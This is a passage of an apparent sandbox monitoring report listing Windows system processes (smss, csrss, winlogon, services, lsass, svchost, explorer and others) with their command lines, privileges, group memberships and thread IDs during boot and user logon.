bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 458 os_tid = 0xf0 Process: id = "37" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2c289000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 475 os_tid = 0x128 Process: id = "38" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2c296000" os_pid = "0x12c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x124" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 476 os_tid = 0x130 Thread: id = 481 os_tid = 0x144 Thread: id = 482 os_tid = 0x148 Thread: id = 483 os_tid = 0x14c Thread: id = 484 os_tid = 0x150 Thread: id = 493 os_tid = 0x188 Thread: id = 503 os_tid = 0x1ac Thread: id = 504 os_tid = 0x1b0 Thread: id = 508 os_tid = 0x1c8 Thread: id = 510 os_tid = 0x1dc Process: id = "39" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2ae8f000" os_pid = "0x154" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 486 os_tid = 0x158 Process: id = "40" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0x2bd9c000" os_pid = "0x15c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x124" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 487 os_tid = 0x160 Thread: id = 498 os_tid = 0x19c Thread: id = 499 os_tid = 0x1a0 Thread: id = 505 os_tid = 0x1b4 Thread: id = 506 os_tid = 0x1b8 Thread: id = 507 os_tid = 0x1c4 Thread: id = 517 os_tid = 0x1f0 Thread: id = 568 os_tid = 0x2b4 Process: id = "41" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x2b930000" os_pid = "0x168" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x154" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 488 os_tid = 0x16c Thread: id = 489 os_tid = 0x170 Thread: id = 490 os_tid = 0x174 Thread: id = 491 os_tid = 0x178 Thread: id = 492 os_tid = 0x17c Thread: id = 495 os_tid = 0x18c Thread: id = 501 os_tid = 0x1a4 Thread: id = 502 os_tid = 0x1a8 Process: id = "42" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x2ae36000" os_pid = "0x180" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x154" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 494 os_tid = 0x184 Thread: id = 496 os_tid = 0x190 Thread: id = 497 os_tid = 0x194 Thread: id = 573 os_tid = 0x2c8 Thread: id = 593 os_tid = 0x318 Thread: id = 652 os_tid = 0xfc Thread: id = 653 os_tid = 0x10c Thread: id = 659 os_tid = 0x134 Process: id = "43" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x29b5f000" os_pid = "0x1bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 509 os_tid = 0x1c0 Thread: id = 527 os_tid = 0x20c Thread: id = 528 os_tid = 0x210 Thread: id = 529 os_tid = 0x214 Thread: id = 530 os_tid = 0x218 Thread: id = 531 os_tid = 0x21c Thread: id = 532 os_tid = 0x220 Thread: id = 533 os_tid = 0x224 Thread: id = 534 os_tid = 0x228 Thread: id = 535 os_tid = 0x22c Thread: id = 536 os_tid = 0x230 Thread: id = 537 os_tid = 0x234 Thread: id = 553 os_tid = 0x270 Thread: id = 654 os_tid = 0x100 Thread: id = 750 os_tid = 0x518 Thread: id = 755 os_tid = 0x52c Thread: id = 756 os_tid = 0x530 Thread: id = 779 os_tid = 0x59c Process: id = "44" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0x29b6a000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 511 os_tid = 0x1d0 Thread: id = 513 os_tid = 0x1e0 Thread: id = 514 os_tid = 0x1e4 Thread: id = 515 os_tid = 0x1e8 Thread: id = 518 os_tid = 0x1ec Thread: id = 519 os_tid = 0x1f4 Thread: id = 521 os_tid = 0x1f8 Thread: id = 523 os_tid = 0x1fc Thread: id = 524 os_tid = 0x200 Thread: id = 525 os_tid = 0x204 Thread: id = 526 os_tid = 0x208 Thread: id = 589 os_tid = 0x308 Thread: id = 599 os_tid = 0x330 Thread: id = 658 os_tid = 0xf8 Thread: id = 687 os_tid = 0x404 Process: id = "45" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0x29b71000" os_pid = "0x1d4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x15c" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 512 os_tid = 0x1d8 Thread: id = 539 os_tid = 0x240 Thread: id = 570 os_tid = 0x2b8 Thread: id = 572 os_tid = 0x2c0 Thread: id = 577 os_tid = 0x2d4 Thread: id = 578 os_tid = 0x2d8 Thread: id = 579 os_tid = 0x2dc Thread: id = 580 os_tid = 0x2e0 Thread: id = 583 os_tid = 0x2e8 Thread: id = 585 os_tid = 0x2f4 Process: id = "46" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8309000" os_pid = "0x238" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00007064" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 538 os_tid = 0x23c Thread: id = 540 os_tid = 0x244 Thread: id = 541 os_tid = 0x248 Thread: id = 542 os_tid = 0x24c Thread: id = 543 os_tid = 0x250 Thread: id = 544 os_tid = 0x254 Thread: id = 545 os_tid = 0x258 Thread: id = 546 os_tid = 0x25c Thread: id = 548 os_tid = 0x260 Thread: id = 550 os_tid = 0x264 Thread: id = 551 os_tid = 0x268 Thread: id = 552 os_tid = 0x26c Thread: id = 555 os_tid = 0x278 Thread: id = 558 os_tid = 0x284 Thread: id = 559 os_tid = 0x288 Thread: id = 560 os_tid = 0x28c Thread: id = 598 os_tid = 0x320 Thread: id = 645 os_tid = 0x3f0 Thread: id = 873 os_tid = 0x728 Process: id = "47" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x28a46000" os_pid = "0x27c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b679" [0xc000000f], "LOCAL" [0x7] Thread: id = 557 os_tid = 0x280 Thread: id = 561 os_tid = 0x290 Thread: id = 562 os_tid = 0x294 Thread: id = 563 os_tid = 0x298 Thread: id = 564 os_tid = 0x29c Thread: id = 565 os_tid = 0x2a0 Thread: id = 566 os_tid = 0x2a4 Thread: id = 567 os_tid = 0x2a8 Thread: id = 797 os_tid = 0x5e8 Thread: id = 871 os_tid = 0x71c Thread: id = 906 os_tid = 0x7b4 Thread: id = 908 os_tid = 0x7bc Process: id = "48" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7d51000" os_pid = "0x2ac" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b957" [0xc000000f], "LOCAL" [0x7] Thread: id = 569 os_tid = 0x2b0 Thread: id = 571 os_tid = 0x2bc Thread: id = 574 os_tid = 0x2c4 Thread: id = 575 os_tid = 0x2cc Thread: id = 576 os_tid = 0x2d0 Thread: id = 581 os_tid = 0x2e4 Thread: id = 582 os_tid = 0x2ec Thread: id = 601 os_tid = 0x33c Thread: id = 603 os_tid = 0x344 Thread: id = 609 os_tid = 0x360 Thread: id = 611 os_tid = 0x364 Thread: id = 614 os_tid = 0x36c Thread: id = 623 os_tid = 0x390 Thread: id = 624 os_tid = 0x394 Thread: id = 625 os_tid = 0x398 Thread: id = 628 os_tid = 0x3a8 Thread: id = 630 os_tid = 0x3b0 Thread: id = 689 os_tid = 0x410 Thread: id = 693 os_tid = 0x420 Thread: id = 697 os_tid = 0x434 Thread: id = 702 os_tid = 0x44c Thread: id = 707 os_tid = 0x460 Thread: id = 708 os_tid = 0x464 Thread: id = 805 os_tid = 0x608 Thread: id = 814 os_tid = 0x62c Thread: id = 822 os_tid = 0x64c Thread: id = 824 os_tid = 0x658 Thread: id = 828 os_tid = 0x668 Thread: id = 834 os_tid = 0x67c Thread: id = 836 os_tid = 0x688 Thread: id = 1033 os_tid = 0x228 Process: id = "49" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0x2884d000" os_pid = "0x2f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x180" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 586 os_tid = 0x2fc Thread: id = 587 os_tid = 0x300 Thread: id = 588 os_tid = 0x304 Thread: id = 590 os_tid = 0x30c Thread: id = 591 os_tid = 0x310 Thread: id = 592 os_tid = 0x314 Thread: id = 594 os_tid = 0x31c Thread: id = 595 os_tid = 0x324 Thread: id = 596 os_tid = 0x328 Thread: id = 597 os_tid = 0x32c Thread: id = 766 os_tid = 0x564 Process: id = "50" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x655b000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cdf6" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 600 os_tid = 0x338 Thread: id = 602 os_tid = 0x340 Thread: id = 604 os_tid = 0x348 Thread: id = 605 os_tid = 0x34c Thread: id = 606 os_tid = 0x350 Thread: id = 608 os_tid = 0x35c Thread: id = 613 os_tid = 0x368 Thread: id = 616 os_tid = 0x374 Thread: id = 617 os_tid = 0x378 Thread: id = 619 os_tid = 0x380 Thread: id = 633 os_tid = 0x3bc Thread: id = 634 os_tid = 0x3c0 Thread: id = 637 os_tid = 0x3d0 Thread: id = 639 os_tid = 0x3d8 Thread: id = 641 os_tid = 0x3e0 Thread: id = 642 os_tid = 0x3e4 Thread: id = 655 os_tid = 0x110 Thread: id = 656 os_tid = 0x108 Thread: id = 685 os_tid = 0x200 Thread: id = 686 os_tid = 0x390 Thread: id = 698 os_tid = 0x438 Thread: id = 700 os_tid = 0x444 Thread: id = 852 os_tid = 0x6cc Thread: id = 854 os_tid = 0x6d4 Thread: id = 855 os_tid = 0x6d8 Thread: id = 856 os_tid = 0x6dc Thread: id = 858 os_tid = 0x6e8 Thread: id = 901 os_tid = 0x798 Thread: id = 904 os_tid = 0x7a4 Thread: id = 905 os_tid = 0x7b0 Thread: id = 915 os_tid = 0x7d8 Thread: id = 917 os_tid = 0x7e0 Thread: id = 920 os_tid = 0x7ec Thread: id = 921 os_tid = 0x7f0 Thread: id = 1016 os_tid = 0x578 Process: id = "51" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5f63000" os_pid = "0x354" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d06c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 607 os_tid = 0x358 Thread: id = 615 os_tid = 0x370 Thread: id = 618 os_tid = 0x37c Thread: id = 620 os_tid = 0x384 Thread: id = 621 os_tid = 0x388 Thread: id = 622 os_tid = 0x38c Thread: id = 635 os_tid = 0x3c4 Thread: id = 638 os_tid = 0x3d4 Thread: id = 640 os_tid = 0x3dc Thread: id = 643 os_tid = 0x3e8 Thread: id = 644 os_tid = 0x3ec Thread: id = 648 os_tid = 0xc8 Thread: id = 661 os_tid = 0x13c Thread: id = 662 os_tid = 0x130 Thread: id = 670 os_tid = 0x1d0 Thread: id = 671 os_tid = 0x204 Thread: id = 690 os_tid = 0x418 Thread: id = 714 os_tid = 0x480 Thread: id = 716 os_tid = 0x488 Thread: id = 719 os_tid = 0x490 Thread: id = 726 os_tid = 0x4a0 Thread: id = 728 os_tid = 0x414 Thread: id = 740 os_tid = 0x4e0 Thread: id = 753 os_tid = 0x524 Thread: id = 869 os_tid = 0x714 Thread: id = 870 os_tid = 0x718 Thread: id = 874 os_tid = 0x72c Thread: id = 875 os_tid = 0x730 Thread: id = 876 os_tid = 0x734 Thread: id = 877 os_tid = 0x738 Thread: id = 878 os_tid = 0x73c Thread: id = 879 os_tid = 0x744 Thread: id = 880 os_tid = 0x748 Thread: id = 882 os_tid = 0x750 Thread: id = 883 os_tid = 0x754 Thread: id = 885 os_tid = 0x75c Thread: id = 886 os_tid = 0x760 Thread: id = 888 os_tid = 0x768 Thread: id = 890 os_tid = 0x770 Thread: id = 897 os_tid = 0x788 Thread: id = 918 os_tid = 0x7e4 Thread: id = 927 os_tid = 0x42c Thread: id = 931 os_tid = 0x468 Thread: id = 936 os_tid = 0x158 Thread: id = 937 os_tid = 0x124 Thread: id = 938 os_tid = 0x128 Thread: id = 940 os_tid = 0x458 Thread: id = 941 os_tid = 0x484 Thread: id = 945 os_tid = 0x4d0 Thread: id = 946 os_tid = 0x4dc Thread: id = 948 os_tid = 0x4bc Thread: id = 949 os_tid = 0x48c Thread: id = 950 os_tid = 0x464 Thread: id = 951 os_tid = 0x49c Thread: id = 952 os_tid = 0x4d4 Thread: id = 953 os_tid = 0x314 Thread: id = 960 os_tid = 0x300 Process: id = "52" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0x250d6000" os_pid = "0x39c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "48" os_parent_pid = "0x2ac" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2dc" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b957" [0xc000000f], "LOCAL" [0x7] Thread: id = 626 os_tid = 0x3a0 Thread: id = 627 os_tid = 0x3a4 Thread: id = 629 os_tid = 0x3ac Thread: id = 631 os_tid = 0x3b4 Thread: id = 632 os_tid = 0x3b8 Thread: id = 818 os_tid = 0x63c Thread: id = 821 os_tid = 0x648 Thread: id = 825 os_tid = 0x65c Thread: id = 829 os_tid = 0x66c Thread: id = 831 os_tid = 0x674 Thread: id = 832 os_tid = 0x680 Process: id = "53" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x25672000" os_pid = "0x3f4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e0b2" [0xc000000f], "LOCAL" [0x7] Thread: id = 646 os_tid = 0x3f8 Thread: id = 647 os_tid = 0x3fc Thread: id = 649 os_tid = 0xcc Thread: id = 650 os_tid = 0xf0 Thread: id = 651 os_tid = 0xec Thread: id = 657 os_tid = 0x104 Thread: id = 660 os_tid = 0x138 Thread: id = 691 os_tid = 0x41c Thread: id = 758 os_tid = 0x538 Thread: id = 898 os_tid = 0x78c Thread: id = 900 os_tid = 0x794 Thread: id = 903 os_tid = 0x7a0 Thread: id = 910 os_tid = 0x7c4 Thread: id = 912 os_tid = 0x7cc Thread: id = 914 os_tid = 0x7d4 Thread: id = 928 os_tid = 0x41c Thread: id = 929 os_tid = 0x430 Thread: id = 930 os_tid = 0x1b4 Thread: id = 935 os_tid = 0x16c Thread: id = 939 os_tid = 0x47c Process: id = "54" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x7b7a2000" os_pid = "0x128" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d06c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 663 os_tid = 0x124 Thread: id = 664 os_tid = 0x140 Thread: id = 665 os_tid = 0x16c Thread: id = 666 os_tid = 0x158 Thread: id = 667 os_tid = 0x154 Thread: id = 668 os_tid = 0x1b4 Thread: id = 669 os_tid = 0x200 Process: id = "55" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x7ed000" os_pid = "0x1fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x180" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 672 os_tid = 0x24c Thread: id = 815 os_tid = 0x630 Thread: id = 817 os_tid = 0x638 Process: id = "56" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x24a9b000" os_pid = "0x278" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "55" os_parent_pid = "0x1fc" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 673 os_tid = 0x298 Thread: id = 675 os_tid = 0x2f0 Thread: id = 676 os_tid = 0x35c Thread: id = 679 os_tid = 0x394 Thread: id = 680 os_tid = 0x3c4 Thread: id = 681 os_tid = 0xfc Thread: id = 682 os_tid = 0x134 Thread: id = 683 os_tid = 0xec Thread: id = 684 os_tid = 0x13c Thread: id = 709 os_tid = 0x46c Thread: id = 720 os_tid = 0x494 Thread: id = 721 os_tid = 0x498 Thread: id = 723 os_tid = 0x49c Thread: id = 724 os_tid = 0x4a4 Thread: id = 725 os_tid = 0x4a8 Thread: id = 727 os_tid = 0x4ac Thread: id = 729 os_tid = 0x4b0 Thread: id = 730 os_tid = 0x4b4 Thread: id = 731 os_tid = 0x4b8 Thread: id = 732 os_tid = 0x4cc Thread: id 